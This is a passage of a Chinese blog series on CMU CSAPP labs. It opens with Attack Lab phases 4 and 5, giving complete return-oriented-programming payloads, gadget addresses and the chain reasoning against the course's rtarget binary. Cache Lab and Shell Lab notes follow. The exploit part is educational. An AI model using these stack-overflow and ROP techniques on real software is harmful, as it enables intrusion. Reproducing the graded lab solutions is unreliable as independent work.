24 1a 40 00 ee 4f 37 45
2b 1a 40 00 60 18 40 00


然后转换成机器码 ./hex2raw < p4.txt > p4r.txt，再执行 ./rtarget -i p4r.txt

但是这样居然会遇到段错误，这是我万万没想到的，问题出在哪里呢？我尝试把这四条语句拆开来执行，发现第一句和第四句没问题，但是中间两句有问题。这说明了一个问题，就是某条语句的执行依赖于后面的语句，再联想到这是 64 位的机器，就明白了为什么会出现段错误了，应该在每个语句后面补 0，那么好，修正之后的字符串是

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
24 1a 40 00 00 00 00 00
ee 4f 37 45 00 00 00 00
2b 1a 40 00 00 00 00 00
60 18 40 00 00 00 00 00


再次进行测试，就可以发现任务完成：

[image: ]

第五阶段

接下来到最后一个阶段，其实做的工作是类似的，就是需要把 cookie 转换成 ascii 码通过缓冲区溢出放到栈的某个位置，然后把指向这个字符串的指针放到 %rdi 中，最后调用 touch3 即可。给出的提示是使用 movl（对前四位进行操作）和诸如 andb %al,%al 的指令（只对低2位的部分操作），标准答案中最少需要使用 8 个 gadget。

所以老规矩，先把 cookie 转换成 ascii 码

0x45374fee -> 34 35 33 37 34 66 65 65


然后我们有完整的用来寻找 gadget 的函数库

0000000000401a08 <start_farm>:
  401a08: b8 01 00 00 00        mov    $0x1,%eax
  401a0d: c3                    retq   

0000000000401a0e <getval_440>:
  401a0e: b8 48 88 c7 c3        mov    $0xc3c78848,%eax
  401a13: c3                    retq   

0000000000401a14 <addval_394>:
  401a14: 8d 87 58 94 90 90     lea    -0x6f6f6ba8(%rdi),%eax
  401a1a: c3                    retq   

0000000000401a1b <addval_304>:
  401a1b: 8d 87 66 58 90 c3     lea    -0x3c6fa79a(%rdi),%eax
  401a21: c3                    retq   

0000000000401a22 <addval_104>:
  401a22: 8d 87 58 c3 50 83     lea    -0x7caf3ca8(%rdi),%eax
  401a28: c3                    retq   

0000000000401a29 <getval_341>:
  401a29: b8 5b 48 89 c7        mov    $0xc789485b,%eax
  401a2e: c3                    retq   

0000000000401a2f <getval_278>:
  401a2f: b8 41 48 89 c7        mov    $0xc7894841,%eax
  401a34: c3                    retq   

0000000000401a35 <setval_371>:
  401a35: c7 07 49 89 c7 c3     movl   $0xc3c78949,(%rdi)
  401a3b: c3                    retq   

0000000000401a3c <getval_313>:
  401a3c: b8 8c fa 58 c1        mov    $0xc158fa8c,%eax
  401a41: c3                    retq   

0000000000401a42 <mid_farm>:
  401a42: b8 01 00 00 00        mov    $0x1,%eax
  401a47: c3                    retq   

0000000000401a48 <add_xy>:
  401a48: 48 8d 04 37           lea    (%rdi,%rsi,1),%rax
  401a4c: c3                    retq   

0000000000401a4d <getval_349>:
  401a4d: b8 89 c1 18 c0        mov    $0xc018c189,%eax
  401a52: c3                    retq   

0000000000401a53 <addval_166>:
  401a53: 8d 87 48 89 e0 c3     lea    -0x3c1f76b8(%rdi),%eax
  401a59: c3                    retq   

0000000000401a5a <getval_106>:
  401a5a: b8 89 ca 91 c3        mov    $0xc391ca89,%eax
  401a5f: c3                    retq   

0000000000401a60 <getval_330>:
  401a60: b8 89 ca a4 db        mov    $0xdba4ca89,%eax
  401a65: c3                    retq   

0000000000401a66 <addval_260>:
  401a66: 8d 87 89 d6 38 c0     lea    -0x3fc72977(%rdi),%eax
  401a6c: c3                    retq   

0000000000401a6d <addval_114>:
  401a6d: 8d 87 8d d6 90 90     lea    -0x6f6f2973(%rdi),%eax
  401a73: c3                    retq   

0000000000401a74 <setval_481>:
  401a74: c7 07 8d c1 90 c3     movl   $0xc390c18d,(%rdi)
  401a7a: c3                    retq   

0000000000401a7b <setval_470>:
  401a7b: c7 07 89 d6 92 90     movl   $0x9092d689,(%rdi)
  401a81: c3                    retq   

0000000000401a82 <getval_418>:
  401a82: b8 8a 48 99 e0        mov    $0xe099488a,%eax
  401a87: c3                    retq   

0000000000401a88 <setval_253>:
  401a88: c7 07 89 d6 08 c9     movl   $0xc908d689,(%rdi)
  401a8e: c3                    retq   

0000000000401a8f <setval_227>:
  401a8f: c7 07 8b c1 20 db     movl   $0xdb20c18b,(%rdi)
  401a95: c3                    retq   

0000000000401a96 <setval_110>:
  401a96: c7 07 89 c1 20 c9     movl   $0xc920c189,(%rdi)
  401a9c: c3                    retq   

0000000000401a9d <setval_309>:
  401a9d: c7 07 d8 4c 89 e0     movl   $0xe0894cd8,(%rdi)
  401aa3: c3                    retq   

0000000000401aa4 <getval_136>:
  401aa4: b8 89 c1 91 c3        mov    $0xc391c189,%eax
  401aa9: c3                    retq   

0000000000401aaa <setval_319>:
  401aaa: c7 07 89 d6 91 c3     movl   $0xc391d689,(%rdi)
  401ab0: c3                    retq   

0000000000401ab1 <addval_193>:
  401ab1: 8d 87 a9 ca 90 c3     lea    -0x3c6f3557(%rdi),%eax
  401ab7: c3                    retq   

0000000000401ab8 <addval_471>:
  401ab8: 8d 87 89 ca c4 c9     lea    -0x363b3577(%rdi),%eax
  401abe: c3                    retq   

0000000000401abf <setval_289>:
  401abf: c7 07 89 ca 48 db     movl   $0xdb48ca89,(%rdi)
  401ac5: c3                    retq   

0000000000401ac6 <addval_482>:
  401ac6: 8d 87 89 ca 38 c0     lea    -0x3fc73577(%rdi),%eax
  401acc: c3                    retq   

0000000000401acd <addval_125>:
  401acd: 8d 87 08 89 e0 c3     lea    -0x3c1f76f8(%rdi),%eax
  401ad3: c3                    retq   

0000000000401ad4 <getval_332>:
  401ad4: b8 09 c1 90 c3        mov    $0xc390c109,%eax
  401ad9: c3                    retq   

0000000000401ada <addval_385>:
  401ada: 8d 87 48 8b e0 90     lea    -0x6f1f74b8(%rdi),%eax
  401ae0: c3                    retq   

0000000000401ae1 <setval_263>:
  401ae1: c7 07 4c 89 e0 90     movl   $0x90e0894c,(%rdi)
  401ae7: c3                    retq   

0000000000401ae8 <getval_187>:
  401ae8: b8 4b 89 d6 c1        mov    $0xc1d6894b,%eax
  401aed: c3                    retq   

0000000000401aee <addval_462>:
  401aee: 8d 87 89 ca c4 d2     lea    -0x2d3b3577(%rdi),%eax
  401af4: c3                    retq   

0000000000401af5 <getval_109>:
  401af5: b8 c9 c1 90 c3        mov    $0xc390c1c9,%eax
  401afa: c3                    retq   

0000000000401afb <addval_238>:
  401afb: 8d 87 89 d6 94 d2     lea    -0x2d6b2977(%rdi),%eax
  401b01: c3                    retq   

0000000000401b02 <setval_404>:
  401b02: c7 07 a9 d6 20 d2     movl   $0xd220d6a9,(%rdi)
  401b08: c3                    retq   

0000000000401b09 <getval_469>:
  401b09: b8 ad 89 ca 90        mov    $0x90ca89ad,%eax
  401b0e: c3                    retq   

0000000000401b0f <getval_291>:
  401b0f: b8 03 48 89 e0        mov    $0xe0894803,%eax
  401b14: c3                    retq   

0000000000401b15 <addval_345>:
  401b15: 8d 87 89 c1 84 d2     lea    -0x2d7b3e77(%rdi),%eax
  401b1b: c3                    retq   

0000000000401b1c <setval_424>:
  401b1c: c7 07 c4 4c 89 e0     movl   $0xe0894cc4,(%rdi)
  401b22: c3                    retq


具体描述一个整个思路(感谢 @yaoxiuh)


	拿到 rsp 存着的地址

	(然后把这个地址) + (cookie 在 stack 偏移量) pop 到某个寄存器中

	然后把这个寄存器的值放到 rdi 中

	然后调用 touch3

	cookie 要放到 stack 最后面

	字符串最后加上 \0 也就是 00000000 来标志结束



从第二步到第三步，因为可用的指令的限制，需要借用不同的寄存器来进行转移跳转，最后完成对 %rdi 的赋值，具体的步骤（在我的这份代码里）

栈顶
mov  %rsp, %rax 48 89 e0 c3    0x401b11
mov  %rax, %rdi 48 89 c7 c3    0x401a2b
pop  %rax       58 c3          0x401a24
constant 0x48
movl %eax, %ecx 89 c1 20 c9 c3 0x401a98 (20 c9 没有影响)
movl %ecx, %edx 89 ca 28 c0 c3 0x401ac8 (38 c0 没有影响)
movl %edx, %esi 89 d6 38 c0 c3 0x401a68 (38 c0 没有影响)
lea  (%rdi, %rsi, 1), %rax     0x401a48
mov  %rax, %rdi 48 89 c7 c3    0x401a2b
touch3 的地址
cookie 的字符串
栈底


对应的十六进制代码为（同样需要注意不全十六位的 0，不然会出段错误），这里还有一个需要注意的地方是偏移量，在执行第一句时，%rsp 已经是指向下一句了（指向的是当前的栈顶，正在执行的语句是不需要考虑的），所以可以数出来，在 cookie 之前一共有 9 条指令，每个 8 byte，所以一共的偏移量是 0x48（十进制的 72）。

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
11 1b 40 00 00 00 00 00
2b 1a 40 00 00 00 00 00
24 1a 40 00 00 00 00 00
48 00 00 00 00 00 00 00
98 1a 40 00 00 00 00 00
c8 1a 40 00 00 00 00 00
68 1a 40 00 00 00 00 00
48 1a 40 00 00 00 00 00
2b 1a 40 00 00 00 00 00
6e 19 40 00 00 00 00 00
34 35 33 37 34 66 65 65
00 00 00 00 00 00 00 00


然后转换成机器码 ./hex2raw < p5.txt > p5r.txt，再执行一次 ./rtarget -i p5r.txt，就可以看到结果了：
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总结

这次作业的两个部分，有不同的难点。利用缓冲区溢出跳转到栈中并在栈中执行代码虽然需要的步骤多一些，但是调试还是比较方便的，可以走一步看一步，根据具体的内存分布来进行处理，就是第三阶段的随机部分可能需要多试几次才能找到正确的存放位置。

ROP 的部分，因为跳转来跳转去，难点在于思路，有了一个大概的思路，就可以利用已有的代码跳来跳去来『凑』出最终的结果了。最后部分需要考虑到偏移量的问题，需要对 %rsp 具体所指向的内存位置有比较清晰地了解，这里我有点犯迷糊，在同学的帮助下才找到了问题所在。不同的字长和位数也有影响，虽然大概的意思差不多，不过我看前一两年的作业中的汇编代码，就和现在的汇编代码有挺大的差异了。

越接近硬件层面，越容不得丝毫差池，越来越多的数值和偏移都变得和机器相关，才更加意识到现在能写几乎与机器无关的代码是多么幸福。不过也不能因为前人的工作就忽略不同机器的差异，还是要多考虑不同的层面，才能写出让更多机器能跑得更快的代码。



            
            
              
                【不周山之读厚 CSAPP】IV Cache Lab
              
            
          


      
      

      
        缓存系统可谓是『随风潜入夜，润物细无声』的代表了，这次我们要当一次幕后英雄，来自己写一个缓存系统！




系列文章

读薄部分


	零 系列概览

	壹 数据表示 - 不同的数据是如何存储与表示的

	贰 机器指令与程序优化 - 控制流、过程调用、缓冲区溢出

	叁 内存与缓存 - 内存层级与缓存机制

	肆 链接 - 不同的代码如何协同

	伍 异常控制流 - 不同进程间的切换与沟通

	陆 系统输入输出 - 怎么把不同的内容发送到不同的地方

	柒 虚拟内存与动态内存分配 - 现代计算机中内存的奥秘

	捌 网络编程 - 从最原始套接字彻底理解网络编程

	玖 并行与同步 - 协同工作中最重要的两个问题



读厚部分


	实验概览

	I Data Lab - 位操作，数据表示

	II Bomb Lab - 汇编，栈帧与 gdb

	III Attack Lab - 漏洞是如何被攻击的

	IV Cache Lab - 实现一个缓存系统来加速计算

	V Shell Lab - 实现一个 shell

	VI Malloc Lab - 实现一个动态内存分配

	VII Proxy Lab - 实现一个多线程带缓存的代理服务器

	知识点复习



任务目标

这次实验的任务很明确，就是制作自己的缓存系统，具体来说是


	实现一个缓存模拟器，根据给定的 trace 文件来输出对应的操作

	利用缓存机制加速矩阵运算



我们需要修改的是 csim.c（需要自己创建） 和 trans.c。编译的时候只需要简单 make clean 和 make，然后就可以进行测试了。

C 语言复习


	注意代码风格，不要写糟糕的代码

	小心隐式类型转换

	小心未定义的行为

	小心内存泄露

	宏和指针计算很容易出错



例 1

int foo(unsigned int u) {
    return (u > -1) ? 1 : 0;
}


因为 u 是无符号整型，所以在比较的时候 -1 也会按照无符号整型来处理，于是实际的比较相当于 u > int_max，使得这个函数总是会返回 0。

例 2

int main() {
    int* a = malloc(100*sizeof(int));
    for (int i=0; i < 100; i++) {
        a[i] = i / a[i];
    }
    free(a);
    return 0;
}


这里 a 中的值都没有进行初始化，所以 main 函数的行为是未定义的。

例 3

int main() {
    char w[strln("C programming")];
    strcpy(w, "C programming");
    printf("%s\n", w);
    return 0;
}


strlen 返回的长度是不包括最后的 \0 的，写入的时候会越界。

例 4

struct ht_node {
    int key;
    int data;
};
typedef struct ht_node* node;

node makeNnode(int k, int e) {
    node curr = malloc(sizeof(node));
    curr->key = k;
    curr->data = e;
}


这里把 node 定义为一个指针，并不是指向一个结构体。

例 5

char *strcdup(int n, char c){
    char dup[n+1];
    int i;
    for (i = 0; i < n; i++)
        dup[i] = c;
    dup[i] = '\0';
    char *A = dup;
    return A;
}


strcdup 函数返回了一个分配在栈中的指针，函数返回之后地址 A 可能会被抹掉。

例 6

#define IS_GREATER(a, b) a > b
inline int isGreater(int a, int b) {
    return a > b ? 1 : 0;
}
int m1 = IS_GREATER(1, 0) + 1;
int m2 = isGreater(1, 0) + 1;


IS_GREATER 是一个没有带括号的宏，所以 m1 的值相当于 1 > 0+1 = 0

例 7

#define NEXT_BYTE(a) ((char *)(a + 1));

int a1 = 54; // &a1 = 0x100
long long a2 = 42; // &a2 = 0x200
void* b1 = NEXT_BYTE(&a1);
void* b2 = NEXT_BYTE(&a2);



	这里 b1 指向 0x104

	这里 b2 指向 0x208



会根据类型的不同，决定下一个 byte 的起始位置。

注意提交的代码列数不要超过 80，会人工检查的。

GDB 命令


	gdbtui <binary>

	layout split



[image: ]

valgrind

可以用来查找


	内存泄露

	其他内存错误

	内存损害



使用 gcc -g 可以列出内存泄露的具体行数

使用 valgrind --leak-check=full 可以查看全部详细信息

第一部分 缓存模拟器

这里需要注意的是，缓存模拟器并不是缓存！我们不需要存储具体的内存内容，也就是说，块偏移量不重要（也就是最后的 b bits 我们不需要在意），只需要计算 hit, miss 和 eviction 的次数即可。

我们的缓存模拟器需要在不同的 s, b, E 设定下正常工作，使用的替换策略是 LRU(Least Recently Used)，这里可以考虑用队列或者时间戳的方式来记录。

任务目标

先来了解一下这次用作输入数据的 trace 文件，可以使用 valgrind --log-fd=1 --tool=lackey -v --trace-mem=yes ls -l 来体验一下，具体做的事情，就是把执行 ls -l 这个命令时访问内存的日志输出到终端中，大概是这样的：

[image: ]

每一条对内存访问的记录格式是 [空格]操作符 地址,大小，以 I 开头的是载入指令的记录，不算在内存访问中。


	M 表示数据修改，需要一次载入 + 一次存储，也就是相当于两次访问

	S 表示数据存储

	L 表示数据载入

	地址指的是一个 64 位的 16 进制内存地址

	大小表示该操作内存访问的字节数



我们要做的实际是读入 valgrind 生成的 trace 日志，并统计出 hit, miss 和 eviction 的次数。同时已经给出了一个参考程序 csim-ref，于是任务就变成山寨一个这样的程序，比如：

[image: 注意两种不同的模式]

具体用法如下：

[image: 注意各个参数的含义]

其他的就是概念的理解和实现了，这里给出几个关键问题，大家可以从这里找到思路：


	如何从命令中拿到所需的参数

	如何从文件中读入内容

	如何进行 cache 的存储

	如何进行错误处理

	如何保证两种模式输出



因为已经给出了参考输出，所以对着一点一点做，应该没有太多问题。

一些提示

我们可以用一个 cache_line 的结构体来保存每个 cache line 的信息，如：

typedef struct
{
    int valid;
    int tag;
    int time_stamp;
} cache_line;


而对应到我们的缓存模拟器，可以用一个二维数组来存储并模拟，如：cache[S][E]。这里 $S=2^s$，也就是 set 的个数，E 是一个 set 里有多少个 cache line。

因为这次测试的输入是如下所示的命令：

./csim [-hv] -s <s> -E <E> -b <b> -t <tracefile>


也就是说我们的程序需要能够读取命令行参数。这时候可以使用 getopt() 来完成，使用前注意包括 #include <unistd.h>，如果不在 CMU 的机器上运行，还需要加上 #include <getopt.h>。

具体的使用方法参见 man 3 getopt 或 这里。当然，还需要考虑如何处理非法输入。

有了命令行参数，我们还需要对应读入 trace 文件的内容，可以使用 fscanf 来完成这个任务，具体的使用可以参考 man fscanf 或 这里

因为我们需要根据传入的参数来创建 cache，所以需要动态分配空间，可以使用 malloc 在堆上完成这个任务。但是需要注意 malloc 的内容一定要 free 掉，不然就会造成内存泄露。另外，不是自己 malloc 的内存，也不要去 free 掉。一个例子：

some_pointer_you_malloced = malloc(sizeof(int));
Free(some_pointer_you_malloced);


第二部分 优化矩阵转制

任务目标

测试的矩阵尺寸为：


	32 x 32

	64 x 64

	61 x 67



缓存的指标：


	有 1KB 大小的缓存

	是 directly mapped，也就是 E=1

	Block size 为 32 字节，也就是 b=5

	一共有 32 个 set，也就是 s=5



可能出乎大家意料，最困难的其实是 64 x 64，因为对于 miss 数量的要求非常严苛！

缓存分析

为了加深印象，还是具体分析一下使用的策略。61 x 67 因为不规则，所以基本的策略就是用不同的分块大小去实验，我一路从 8 测试到 24，最后选了个看起来最顺眼的。这里主要还是分析 32 x 32 和 64 x 64 的。

根据给出的缓存大小，可以知道，一个 block 可以放 8 个 int 值，那么对于 32 x 32 矩阵，有下面的图：

[image: 32 x 32]

这里的数字表示对应的值会存在缓存的哪个 set 中，我们可以看到第九行和第一行会冲突，但是如果我们分成 8 x 8 的小块，就可以保证尽可能利用到缓存的特性（读取第 1 个的时候后面 7 个也已经载入缓存中），于是简单分块就可以解决 32 x 32 的矩阵（要求是 miss 数量不超过 300）

但是对于 64 x 64，情况就不一样了，首先是 miss 的数量限制得比较严格，不超过 1300，然后是缓存中的排列也有一些变化，如图：

[image: 64 x 64]

因为宽度的变化，现在第 5 行就会和第 1 行冲突，所以如果我们还用原来的 8 x 8，肯定是不行的。那么如果用 4 x 4 呢？经过尝试之后，发现超过要求的 1300 还是比较多的。问题在哪里？一是因为每次读取 4 个数字，我们实际只用了 4 个，二是宽度改变带来的 conflict miss 仍旧没有很好解决。

题目中说不能使用超过 12 个变量，有 4 个需要作为遍历矩阵的索引值，另外八个是不是可以做一点文章呢？答案是肯定的。

我们依然可以按照原来的 8 x 8 来进行处理，只是在每个 8 x 8 中，还需要进行分块。首先是左上角的 4 x 4，这里没有冲突，都会在缓存中，所以按照正常的分块算法处理。比较有技巧的是右上角和左下角，这里我们会发现重复访问会造成很多的 conflict miss，这个时候就可以利用 4 个本地变量作为 buffer，先存起来，以后再用。这样就利用了每次读入 8 个的优势，并且避开了因为地址冲突而导致的 conflict miss 的问题。

一些提示

矩阵转制并不是特别复杂的操作，但是如何利用缓存来尽可能提高速度，就有很多的优化空间了。和矩阵相乘中使用的 cache blocking 方法一样，在这里我们同样可以利用 blocking 的方法来提高效率，可能需要尝试不同的大小，以找到最合适的尺寸。

最好在编译的时候加上 -Werror，这样就不会放过任何一个 warning。如果使用的函数缺少头文件，可以通过 man <function-name> 找到相关头文件

因为只会跑 32x32, 64x64, 61x67 这三个测试，所以可以硬编码来进行检测，针对不同的矩阵大小进行优化。

都写完之后可以利用 ./driver.py 进行完整的测试，最后提交自动打包好的 tar 压缩包到 autolab 即可。

总结

被汇编语言虐了两周之后，回过头来写 C 语言，真的感觉从地狱到了天堂。虽然降低了语言的复杂度，但是对于概念的理解有了更高的要求。回过头来想想，正因为隐藏了足够多的细节，更高层级的抽象才得以方便实现。

缓存的整个设计非常精妙，仅仅利用 locality 一个特性，几乎是用最小的成本达到了最好的性能。


The memory hierarcy creates a large pool of storage that costs as much as the cheap storage near the bottom, but that serves data to programs at the rate of the fast storage near the top.



带着镣铐跳舞，精髓。



            
            
              
                【不周山之读厚 CSAPP】V Shell Lab
              
            
          


      
      

      
        前面的实验都要在 shell 中运行，这次我们直接做一个自己的 shell！这之后无论是异常还是信号，都难不倒我们啦。




系列文章

读薄部分


	零 系列概览

	壹 数据表示 - 不同的数据是如何存储与表示的

	贰 机器指令与程序优化 - 控制流、过程调用、缓冲区溢出

	叁 内存与缓存 - 内存层级与缓存机制

	肆 链接 - 不同的代码如何协同

	伍 异常控制流 - 不同进程间的切换与沟通

	陆 系统输入输出 - 怎么把不同的内容发送到不同的地方

	柒 虚拟内存与动态内存分配 - 现代计算机中内存的奥秘

	捌 网络编程 - 从最原始套接字彻底理解网络编程

	玖 并行与同步 - 协同工作中最重要的两个问题



读厚部分


	实验概览

	I Data Lab - 位操作，数据表示

	II Bomb Lab - 汇编，栈帧与 gdb

	III Attack Lab - 漏洞是如何被攻击的

	IV Cache Lab - 实现一个缓存系统来加速计算

	V Shell Lab - 实现一个 shell

	VI Malloc Lab - 实现一个动态内存分配

	VII Proxy Lab - 实现一个多线程带缓存的代理服务器

	知识点复习



任务目标

这次的实验，我们需要自己完成一个简单的 shell 程序，通过具体的实现，我们可以更加深入地计算机运行的机制（尤其是 Exceptional Control Flow 和进程）。

在具体开始之前，最好先复习一下基本概念。注意！这次任务不简单！但是老师提供了很多辅助函数，确定先读懂已有代码再开始（注意代码风格），需要仔细查看的 man pages：


	sigemptyset()

	sigaddset()

	sigprocmask()

	sigsuspend()

	waitpid()

	open()

	dup2()

	setpgid()

	kill()



我们具体要做的是在 tsh.c 中补全下列空函数，这个文件中已经包含了一个基本的 shell 程序，但是还有很多东西没有完成：


	void eval(char *cmdline)：解析命令与执行，约 300 行

	void sigchld_handler(int sig)：捕获 SIGCHLD 信号

	void sigtstp_handler(int sig)：捕获 SIGTSTP(ctrl-z) 信号

	void sigint_handler(int sig)：捕获 SIGINT(ctrl-c) 信号



具体的实现规格：


	每一行会输出一个 tsh>，然后等待用户输入

	用户的输入包括 name 加上零个或多个参数，这些参数之间用一个或多个空格分隔。如果 name 是内置命令，那么直接执行，否则需要新建一个子进程，并在子进程中完成具体的工作

	不需要支持管道，但是需要支持输入输出重定向，如 tsh> /bin/cat < foo > bar（必须支持在同一行重定向输入以及输出）
	也需要支持内置命令的重定向，如 tsh> jobs > foo 





	输入 ctrl-c 或 ctrl-z 会给当前的前台进程（包括其子进程）发送 SIGINT(SIGTSTP) 信号，如果没有前台任务，那么这俩信号没有任何效果

	如果输入的命令以 & 结尾，那么就要以后台任务的方式执行，否则按照前台执行

	每个 job 都有其进程 ID(PID) 和 job ID(JID)，都是由 tsh 指定的正整数，JID 以 % 开头（如 %5 表示 JID 为 5，而 5 则表示 PID 为 5），这部分已提供了辅助函数

	支持的内置命令有
	quit 退出 shell

	jobs 列出所有的后台任务

	bg job 给后台 job 发送 SIGCONT 信号来继续执行该任务，具体的 job 数值可以是 PID 或 JID

	fg job 给前台 job 发送 SIGCONT 信号来继续执行该任务，具体的 job 数值可以是 PID 或 JID





	tsh 应该回收所有的僵尸进程，如果任何 job 因为接收了没有 catch 的信号而终止，tsh 应该识别出这个时间并且打印出 JID 和相关信号的信息



测试的时候先 make 然后 ./tsh 即可，不过一开始好像没办法退出。如果需要参考，可以试试 tshref 这个程序。确定无误之后可以进行完整测试。

这里我们用 trace 文件来测试，具体使用命令 ./runtrace 来测试，具体用法如下

# 查看帮助
./runtrace -h

# 测试某个特性
./runtrace -f trace05.txt -s ./tsh


如果想要进行完整的测试，可以使用 ./sdriver，具体用法如下

# 查看帮助
./sdriver -h

# 一般来说可以直接使用默认设置测试
./sdriver


系统会自动评分，具体每个文件在测试的内容是：

[image: trace 文件内容]

Shell 简介

简单来说，shell 有两种执行模式：


	如果用户输入的命令是内置命令，那么 shell 会直接在当前进程执行（例如 jobs）

	如果用户输入的是一个可执行程序的路径，那么 shell 会 fork 出一个新进程，并且在这个子进程中执行该程序（例如 /bin/ls -l -d）



第二种情况中，每个子进程称为一个 job（当然也可以不止一个，通过管道机制，不过我们这里的实现不需要考虑管道）

如果命令以 & 结束，那么这个 job 会在后台执行（比如 /bin/ls -l -d &），也就是说 shell 本身不会等待 job 执行完成，直接可以继续输入其他命令；而在其他情况下，则是在前台运行，shell 会等待 job 完成，用户才可以继续输入命令。也就是说同一个时间只可能有一个前台任务，但是后台任务可以有任意多个。

程序的入口是 int main(int argc, char *argv[])，对于 /bin/ls -l -d 来说，我们有：

argc == 3
argv[0] == ''/bin/ls''
argv[1] == ''-l''
argv[2] == ''-d''


另外两个需要支持功能是：


	job control：允许用户更改进程的前台/后台状态以及京城的状态(running, stopped, or terminated)
	ctrl-c 会触发 SIGINT 信号并发送给每个前台进程，默认的动作是终止该进程

	ctrl-z 会触发 SIGTSTP 信号并发送给每个前台进程，默认的动作是挂起该进程，直到再收到 SIGCONT 信号才继续

	jobs 命令会列出正在执行和被挂起的后台任务

	bg job 命令可以让一个被挂起的后台任务继续执行

	fg job 命令可以让一个被挂起的前台任务继续执行





	I/O redirection：重定向输入输出
	tsh> /bin/ls > foo

	tsh> /bin/cat < foo







提示


	不要使用 sleep() 来同步

	不要使用忙等待 while(1);

	使用 sigsuspend 来同步

	竞争条件

	僵尸进程回收（注意竞争条件以及正确处理信号）

	等待前台任务（仔细思考怎么样才是好的方式）

	不要假定进程的执行顺序

	子进程挂掉的时候应该在一个限定时间内被回收

	不要在多个地方调用 waitpid，很容易造成竞争条件，也会造成程序过分复杂

	不要使用任何系统调用来管理 terminal group

	waitpid, kill, fork, execve, setpgid, sigprocmask 和 sigsuspend 都非常有用，waitpid 中的 WUNTRACED 和 WNOHANG 选项也是如此。

	遇到不清晰的用 man 来查看细节

	实现 signal handler 的时候注意给全部的前台进程组发送 SIGINT 和 SIGTSTP 信号

	在 kill 函数中使用 -pid 的格式作为参数

	在 shell 等待前台工作完成时，需要决定在 eval 及 sigchold handler 具体的分配，这里有一定技巧

	在函数 eval 中，在 fork 出子进程之前，必须使用 sigprocmask 来阻塞 SIGCHLD, SIGINT 和 SIGTSTP 信号，完成之后再取消阻塞。调用 addjob 的时候也需要如此。注意，因为子进程也继承了之前的各种状态，所以在子进程中调用 exec 执行新程序的时候注意需要取消阻塞，同样也需要恢复默认的 handler（shell 本身已经忽略了这些信号），具体可以看书本的 8.5.6 节

	不要使用 top, less, vi, emacs 之类的复杂程序，使用简单的文本程序如：/bin/cat, /bin/ls, /bin/ps, /bin/echo

	因为毕竟不是真正的 shell，所以在 fork 之后，execve 之前，子进程需要调用 setpgid(0, 0)，这样就把子进程放到一个新的进程组里。这样就保证我们的 shell 前台进程组中唯一的进程，当按下 ctrl-c 时，应该捕获 SIGINT 信号并发送给对应的前台进程组中。



同样提供一个 tshref 参考程序来作为比对输出（除了进程 id 之外其他需要一模一样），具体是通过 runtrace 文件来测试，每个 trace 文件会测试一个特性

解题攻略

最开始当时是要先读懂代码，尤其是整个程序到底在干什么，如果有仔细看我前面的介绍和课本的话，应该比较轻松能找到对应（毕竟这是一个简化的版本），所以这里废话不多说，直接开始完成基础工作。我们先来看看如何改动 eval 这个函数。

在这个函数中，我们会先解析命令（具体的解析已经有工具函数），然后得到一系列 token，结构如下

[image: token 的结构]

目前来说，对我们最有用的是这里面的枚举类型，我们可以先用这个来判断是否是内置函数，据此来决定走哪条分支。我们先把最基本的退出功能做了，这样就不会出现一旦开始就没办法结束的情况，具体方法也很简单，直接 exit(0); 即可，我们测试一下，发现已经可以正确退出了：

[image: 退出程序]

接着我们来实现 jobs 这个命令，因为已经提供了 listjobs 这个函数，所以我们直接围绕着这个函数来做文章即可。留意到 token 结构体中有 infile 和 outfile 两项，这个就是用来重定向的判断（我们不需要担心解析的问题，可以直接用）。同样，我们来判断一下有没有 outfile，对应进行处理即可。注意输出的时候如果不需要重定向，那么就输出到 stdout，如果需要重定向，就输出到对应的 file descriptor 中（打开文件的时候需要设定 flag，具体可以 man open 进行查看）。

接着我们来实现 FG 和 BG 这两个命令，我们需要注意的地方有两个，一个是先根据判断传入的是 JID 还是 PID，然后发送信号之后需要等待进程完成（这里注意使用 sigsuspend）。

这里需要注意 . 和 -> 这两个操作符的不同，简单来说，就是如果左边是一个指向结构体的指针，那么就要用 ->；如果是一个结构体，那么就要用 .。

这些做完之后我们可以先来简单测试一下

./runtrace -f trace00.txt -s ./tsh
./runtrace -f trace00.txt -s ./tshref
./runtrace -f trace01.txt -s ./tsh
./runtrace -f trace01.txt -s ./tshref


[image: 测试结果]

看到和参考程序输出至少是一致的，我们就可以继续了。

接着我们需要来处理非内置命令的情况，参考课件中的代码，先把需要用到的 mask 之类的弄好，并且我们暂时不考虑重定向的问题。然后需要把对应的 signal handler 补充完整。

这之后我们可以来跑一次测试 ./sdriver，最后的得分是 60/100，第一个错误出现在 trace08.txt 这个文件中，查表得知是发送 fatal SIGINT 给前台进程。我自己用 ./runtrace -f trace08.txt -s ./tsh 测试了几次，发现有时候可以正确输出，有时候则会超时，说明是处理进程同步的时候出了问题。经过检查发现，阻塞信号的时候需要阻塞全部信号（之前我只阻塞了 SIGCHLD 会出问题），再测试的话，发现已经有了 80/100 分。

继续看看哪里出了问题，在输出的日志中寻找最先出错的地方，发现是 trace22.txt，功能是 I/O redirection(input)，这就对了，毕竟我们还没写这个功能。

我们现在就来写一下。不过在此之前，回答一下前面的问题，前面提到过：


在 shell 等待前台工作完成时，需要决定在 eval 及 sigchold handler 具体的分配，这里有一定技巧



那么技巧是什么呢？其实很简单，就是都在 eval 里做，handler 尽量短小精悍。

好，我们继续来做输入输出重定向，同样分为内置函数与其他两个类型，内置函数唯一需要输出的是 jobs 这个函数，不过我们之前已经处理过，这里暂且不管（出问题再说）。所以把主要精力集中在非内置的函数上。具体应该在 setpgid(0,0) 这句之后，且应该在 execve 之前。具体的操作也比较简单，就是打开文件（只读），然后利用 dups 重定向到 STDIN 中即可。对于输出的情况也是类似的，这里不赘述。唯一需要注意的一点是打开文件时候的 flag，设置错误会导致没办法正确重定向。

改完错误之后发现 trace15.txt 又出错了，而且经过测试发现死锁的问题还在，而且是内置函数的问题（果然一开始有小问题），后来发现是搞错了一个变量（但是仍旧有小概率会出现死锁，不过提交的时候似乎一切正常）

最后需要注意的是有些测试会直接修改源代码，所以每次都需要重新解压（还是蛮讨厌的）。总体来说只要理解了整个过程就不算太难，使用 csapp.h 的时候可能需要把代码复制到 tsh.c 中。

附录: 中文 man 文档

如果觉得看英文太累（虽然建议看英文），可以使用中文的 man 文档，具体的使用步骤如下：

在这里下载安装包，然后通过如下命令进行安装：

